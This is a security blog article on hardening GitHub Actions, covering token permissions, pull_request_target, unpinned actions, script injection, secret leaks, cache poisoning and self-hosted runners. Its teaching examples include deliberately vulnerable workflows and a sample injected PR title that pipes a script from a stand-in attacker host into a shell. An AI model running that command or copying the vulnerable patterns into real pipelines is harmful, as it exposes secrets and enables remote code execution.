Dev Encyclopedia
ArticlesTools

Get notified when new content drops

No spam. Just new articles, tools, and updates straight to your inbox.

Dev Encyclopedia

A reference for builders

Content

  • Articles
  • Tools
  • Contact

Connect

  • support@devencyclopedia.com
  • RSS Feed

© 2026 Dev Encyclopedia

Privacy PolicyTermsDisclaimer
  1. Home
  2. /Blog
  3. /GitHub Actions Security: 7 Misconfigurations to Avoid
security14 min read

GitHub Actions Security: 7 Misconfigurations to Avoid

The 7 GitHub Actions misconfigurations behind real supply chain attacks: weak GITHUB_TOKEN scope, pull_request_target, unpinned actions, script injection.

By Dev EncyclopediaPublished June 12, 2026
On this page

On this page

  • Overly Permissive GITHUB_TOKEN
  • pull_request_target with Untrusted Code
  • Unpinned Third-Party Actions
  • Expression Injection (Script Injection)
  • Secrets in Logs and Artifacts
  • Shared Caches Across Trust Boundaries
  • Self-Hosted Runners Without Isolation
  • 5-Minute Hardening Checklist
  • Frequently Asked Questions

GitHub Actions is the most-targeted CI/CD platform in the world right now. Not because it's insecure by design: it's because billions of automated workflows run on it every day, most of them with misconfigured permissions, mutable dependencies, and no security review. When an attacker finds a gap, the blast radius is enormous.

In 2026 alone, the Megalodon campaign poisoned thousands of repositories in a single six-hour window. The TanStack cache poisoning attack published malicious package versions with valid, signed provenance. The tj-actions/changed-files compromise exfiltrated secrets from thousands of repositories in a single day. All of these attacks used GitHub Actions misconfigurations as their entry point.

This guide covers the seven misconfigurations that show up in almost every real-world GitHub Actions breach: what they are, why they're dangerous, and exactly how to fix them. If you haven't set up a workflow yet, start with the GitHub Actions tutorial first; this guide assumes you already have workflows running and want to harden them.

  1. 1

    Overly Permissive GITHUB_TOKEN

    GitHub automatically creates a GITHUB_TOKEN for every workflow run. It has access to your repository: the question is how much access. Repositories created before February 2023 often default to write-all, which means a compromised workflow can push code, approve pull requests, and modify releases.

    yaml — .github/workflows/ci.yml
    # Add to every workflow file
    permissions:
      contents: read
    
    jobs:
      test:
        # This job only needs read access, no additional permissions needed
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
    
      release:
        permissions:
          contents: write  # Elevated only for the job that actually needs to write
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
          - run: gh release create ${{ github.ref_name }}

    ℹ Info

    Check Settings → Actions → General → Workflow permissions in your repository. Set it to "Read repository contents and packages permissions" so every workflow starts read-only and only escalates per-job, explicitly, where needed.

  2. 2

    pull_request_target with Untrusted Code

    pull_request_target was introduced to let workflows access secrets when handling pull requests, including PRs from forks. The problem: it runs in the context of the base branch, with all its secrets, even when the PR comes from a completely untrusted fork.

    This is the pattern behind some of the highest-impact GitHub Actions vulnerabilities ever disclosed, allowing remote code execution on repositories belonging to major tech companies:

    yaml
    # DANGEROUS: runs fork PR code with access to repository secrets
    on: pull_request_target
    
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v3
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # Checks out attacker code
          - run: npm test  # Runs attacker code with access to secrets

    Fix: use pull_request instead of pull_request_target for workflows that run code from a PR. pull_request does not have access to secrets for fork PRs, which is exactly the right default.

    yaml
    # SAFE: fork PRs run without secret access
    on: pull_request
    
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
          - run: npm test

    💡 Tip

    If you genuinely need secret access for a fork PR workflow (for example, to post a comment), use a two-workflow split: the first workflow runs untrusted code with no secrets, and a second, privileged workflow is triggered by workflow_run only after the first completes and is verified.

  3. 3

    Unpinned Third-Party Actions

    uses: actions/checkout@v4 and uses: third-party/some-action@main are mutable references. The tag v4 or the branch main can be moved to point at a different commit at any time. When a popular action gets compromised, attackers push malicious code to the repository and every workflow referencing that tag picks it up immediately, with no change to your own files.

    yaml
    # Instead of:
    uses: actions/checkout@v4
    
    # Use:
    uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

    A full commit SHA is immutable: an attacker who compromises an action's repository can't move it. To find the SHA for a release, open the action's repository on GitHub, click the release tag, and copy the full commit hash.

    ℹ Info

    For first-party actions under the actions/ organization, the risk is lower since GitHub controls those repositories directly. For every third-party action, pin to a SHA, not a tag or branch.

  4. 4

    Expression Injection (Script Injection)

    Expressions like ${{ github.event.pull_request.title }} evaluate to arbitrary, attacker-controlled strings when used directly inside a run: block.

    yaml
    # DANGEROUS: PR title becomes a shell command
    - run: echo "Testing PR: ${{ github.event.pull_request.title }}"

    If a PR is opened with a title like ; curl https://evil.example/steal.sh | sh ;, the shell executes the injected command as part of your workflow. This is how script injection attacks work in GitHub Actions, and the title field is just one of many injection points.

    Fix: always assign untrusted input to an environment variable first, then reference the variable, never the raw expression, inside run:.

    yaml
    # SAFE: environment variable is not interpreted as a shell command
    - name: Process PR title
      env:
        PR_TITLE: ${{ github.event.pull_request.title }}
      run: echo "Testing PR: $PR_TITLE"

    ⚠ Warning

    Any ${{ }} expression that comes from user input (PR titles, branch names, issue bodies, commit messages, labels) needs to go through env: before it touches a run: block, not just PR titles.

  5. 5

    Secrets in Logs and Artifacts

    GitHub masks secrets in workflow logs, but only for known, exact-match patterns. Encoded, transformed, or partially-reconstructed secrets bypass the masking entirely. A workflow that uploads debug artifacts, builds Docker images with secret build args, or dumps environment variables can leak secret values in ways GitHub's masking never catches.

    yaml
    # AVOID: secret as a direct build argument (may persist in image layers)
    - run: docker build --build-arg API_KEY=${{ secrets.API_KEY }} .
    
    # AVOID: indirect exposure through env dumped into an artifact
    - run: env > debug.txt && tar czf debug.tar.gz debug.txt
    - uses: actions/upload-artifact@v4
      with:
        path: debug.tar.gz

    Where possible, use OIDC token-based authentication for cloud providers (AWS, Azure, GCP all support this). This eliminates long-lived secrets entirely: your workflow receives a short-lived token scoped to that single job, with nothing left over to leak.

    When a static secret is genuinely unavoidable, scope it to the specific step that needs it via env:, and never pass it through run: arguments, build args, or anything that ends up in an uploaded artifact.

  6. 6

    Shared Caches Across Trust Boundaries

    The TanStack cache poisoning attack exploited a subtle vector: a fork PR workflow wrote a malicious entry into a shared GitHub Actions cache. Hours later, the legitimate release workflow, which had full publish access, restored that poisoned cache and executed the attacker's code as part of its own build.

    The fix is simple: never let an untrusted workflow write to a cache that a privileged workflow later reads. Scope cache keys so fork PRs and your main release pipeline can't collide:

    yaml
    - uses: actions/cache@v4
      with:
        path: ~/.npm
        # Include github.ref so cross-branch / cross-PR cache sharing isn't possible
        key: ${{ runner.os }}-npm-${{ github.ref }}-${{ hashFiles('**/package-lock.json') }}

    Fork PR workflows run with different github.ref values than your main branch, so they can no longer write into a cache entry your release workflow will later trust.

  7. 7

    Self-Hosted Runners Without Isolation

    GitHub-hosted runners are ephemeral: every job gets a fresh virtual machine that's destroyed afterward. Self-hosted runners are not, by default. Environment variables, temporary files, cached credentials on disk, and leftover process memory from one job can be readable by the next job on the same machine. For a public repository, where any GitHub user can open a pull request and trigger a workflow, that's a serious risk.

    ⚠ Warning

    If you need self-hosted runners for a public repository, make them ephemeral: tear down and rebuild the runner after every single job. Several CI platforms and the actions-runner-controller Kubernetes operator support this out of the box.

    For private repositories the immediate risk is lower since only authorized contributors can trigger workflows, but the principle still applies to production deployments. Add environment protection rules and require manual approval before any workflow with production credentials runs on a self-hosted runner.

5-Minute Hardening Checklist

The ten fixes below address the large majority of real-world GitHub Actions breaches. None of them require rewriting your pipeline: most are a few lines changed per workflow file.

  • Set permissions: read-all (or contents: read) globally in every workflow file
  • Replace pull_request_target with pull_request for any workflow that runs code from a PR
  • Pin every third-party action to a full commit SHA, not a tag or branch
  • Move all ${{ github.event.* }} references into env: variables before they reach a run: block
  • Audit upload-artifact steps for anything that could expose environment variables or secrets
  • Add github.ref (or similar) to every cache key to prevent cross-branch cache sharing
  • Use OIDC instead of long-lived secrets for cloud provider authentication where supported
  • Confirm Settings → Actions → General → Workflow permissions is set to read-only by default
  • Enable branch protection requiring CI success and code owner review before merge
  • Run zizmor (open-source GitHub Actions security scanner) against .github/workflows/
bash — One-command workflow audit
pip install zizmor && zizmor .github/workflows/

💡 Tip

If your project uses npm, pair this audit with a dependency check. DepScan reads your package.json and flags outdated, deprecated, or CVE-affected packages right in your browser, no install required.

Frequently Asked Questions

What permissions should GITHUB_TOKEN have?

Start every workflow read-only, then grant write access only to the specific jobs that need it:

yaml
permissions:
  contents: read

ℹ Info

Add a more specific permissions: block (e.g. contents: write, pull-requests: write) inside individual jobs that genuinely need it. Repositories created before February 2023 may still default to write-all; check Settings → Actions → General to confirm.

Is pull_request_target dangerous?

It's dangerous specifically when combined with checking out and running code from the incoming pull request. pull_request_target runs with the base repository's secrets and permissions, even for pull requests from forks. If the workflow then checks out and executes the PR's code, that untrusted code runs with access to your secrets: a pattern often called a "pwn request".

It is safe when the workflow never checks out or executes code from the PR head, for example a workflow that only adds a label based on the PR's metadata.

How do I pin a GitHub Action to a commit SHA?

Open the action's repository on GitHub, go to its Releases or Tags page, click the version you want, and copy the full commit SHA from that page. Then reference it instead of the version tag, with the version as a comment for readability:

yaml
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

💡 Tip

Tools like Dependabot and Renovate can keep pinned SHAs up to date automatically, opening a pull request with the new SHA and updated version comment whenever the action releases.

What is a 'pwn request' in GitHub Actions?

A pwn request is a workflow that runs untrusted, attacker-controlled code (typically the contents of a fork pull request) in a context that has access to repository secrets and write permissions. The name comes from "pwn" plus "pull request".

  • How it happens - a pull_request_target (or, less commonly, a misconfigured workflow_run) workflow checks out github.event.pull_request.head.sha and then builds or tests it.
  • Why it's dangerous - the checked-out code is fully attacker-controlled, but it runs with the base repository's secrets, write access, and sometimes deploy credentials.
  • The fix - use pull_request for anything that executes PR code, and reserve pull_request_target for workflows that never check out or run the PR's contents.
How do I prevent secret leakage in GitHub Actions?
  • Never interpolate secrets directly into `run:` commands - pass them through env: instead.
  • Avoid secrets in build arguments - docker build --build-arg KEY=${{ secrets.KEY }} can leave the value in image layers.
  • Check artifacts before uploading - env dumps, debug logs, and core dumps can all contain secret values GitHub's log masking never sees.
  • Prefer OIDC over long-lived secrets - for AWS, Azure, and GCP, OIDC gives the workflow a short-lived token with nothing to leak afterward.
What is zizmor and should I use it?

zizmor is an open-source static analysis tool that scans .github/workflows/ for exactly the kinds of issues covered in this guide: unpinned actions, pull_request_target misuse, expression injection, and overly broad permissions. It's a useful first pass before a manual review.

bash
pip install zizmor && zizmor .github/workflows/
Does securing GitHub Actions also protect against malicious npm dependencies?

No, they're separate layers. Hardening your workflows (this guide) reduces the chance that your CI pipeline itself becomes an attack vector. Auditing your package.json for outdated, deprecated, or CVE-affected packages is a different problem: try DepScan for that. Both matter, and a compromised dependency installed during npm ci runs inside whatever permissions your workflow grants it, which is exactly why the GITHUB_TOKEN permissions in misconfiguration #1 matter so much.

Locally, pre-commit hooks with Husky and lint-staged catch some issues before code is even pushed, but they run on the developer's machine and can be bypassed with --no-verify. CI-side checks are the layer that can't be skipped.

None of these fixes are exotic. Read-only tokens by default, pull_request instead of pull_request_target, pinned SHAs, environment variables instead of raw expressions, scoped cache keys, and ephemeral runners: that's the whole list, and most of it is a find-and-replace across your workflow files.

Run through the checklist once, then run zizmor against your repository to catch anything the manual pass missed. Supply chain attacks against GitHub Actions are not going away, but workflows that follow these seven rules are not the ones that end up in next year's incident report.

Related Articles

devops

GitHub Actions Tutorial: CI/CD from Push to Deploy (2026)

Learn GitHub Actions: write your first workflow, run tests automatically, use secrets safely, deploy via SSH, cache dependencies, and run matrix builds.

Jun 12, 2026·13 min read
nextjs

Husky + Prettier + lint-staged Setup for Next.js

Set up Husky v9, Prettier, and lint-staged in your Next.js project. Step-by-step guide covering pre-commit hooks with the correct 2026 config.

May 30, 2026·8 min read
security

How to Audit Your VS Code Extensions for Security

The GitHub breach happened through a VS Code extension. Here's how to check what you have installed and reduce your exposure in 10 minutes.

May 30, 2026·6 min read

On this page

  • Overly Permissive GITHUB_TOKEN
  • pull_request_target with Untrusted Code
  • Unpinned Third-Party Actions
  • Expression Injection (Script Injection)
  • Secrets in Logs and Artifacts
  • Shared Caches Across Trust Boundaries
  • Self-Hosted Runners Without Isolation
  • 5-Minute Hardening Checklist
  • Frequently Asked Questions